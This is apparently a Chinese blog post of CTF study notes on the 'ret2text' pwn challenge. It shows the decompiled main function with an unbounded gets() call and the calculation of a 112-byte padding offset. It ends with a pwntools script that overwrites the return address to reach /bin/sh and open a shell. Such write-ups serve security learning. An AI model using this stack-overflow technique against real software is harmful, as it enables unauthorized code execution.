发布于 

pwn学习笔记-ret2text

查看程序基本信息

开启了NX,代表着栈上的数据是不可执行的

运行程序看一下

程序只有一个输入点,下面将程序拖入ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);
  printf("Maybe I will tell you next time !");
  return 0;
}

看到了无输入限制的gets函数,我们接下来计算一下程序gets函数的返回地址

可以看到地址是0x62616164,下面计算我们需要填充的字节数

需要填充112个无用字符

接下来我们在ida中查看是否存在/bin/sh

在地址0x0804863A处存在/bin/sh

接下来编写shell脚本

from pwn import *

p = process("./ret2text")

p.recvuntil('anything?\n')

p.sendline('a'*112+p32(0x0804863A))

p.interactive()

成功获得权限


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 @yemoli 创建,使用 Stellar 作为主题。